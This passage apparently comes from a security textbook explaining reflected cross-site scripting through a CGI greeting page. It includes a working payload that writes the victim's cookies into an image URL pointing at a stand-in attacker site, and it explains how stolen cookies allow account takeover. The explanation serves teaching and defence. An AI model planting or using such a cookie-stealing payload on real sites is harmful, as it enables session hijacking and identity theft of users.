But what happens if someone can get you to click on a link to http://www.example.com/ mycgi?username=Fred<script>alert(‘Uh oh’);</script>? The CGI might write the following HTML into the resulting page:
First, note that potentially problematic characters such as <, :, and ? have been URL encoded so as not to confuse the browser. Now consider the resulting HTML that would be written into the page:
Hello, <b>Fritz <script> (new Image).src='http://www.evilsite.com/?stolencookie='+ escape(document.cookie); </script></b>
This script causes the browser to try to load an image from www.evilsite.com, and includes in the URL any cookies the user has for the current site (www.example.com). The fact that this image doesn’t exist is not important; the user won’t see it anyway. What is important is to notice that the attacker presumably runs www.evilsite.com, and now only has to look through his logs in order to find cookies that have been stolen from unsuspecting users. Since most sites store login information in cookies, this could potentially let the attacker log in with his victims’ identities.
Cross-site scripting attacks aren’t limited to stealing cookies. Anything undesirable that is prevented by the same origin policy could happen. For example, the script could just as easily have snooped on the user’s keypresses and sent them to www.evilsite.com. The same origin policy doesn’t apply here: the browser has no way of knowing that www.example.com didn’t intend for the script to appear in the page.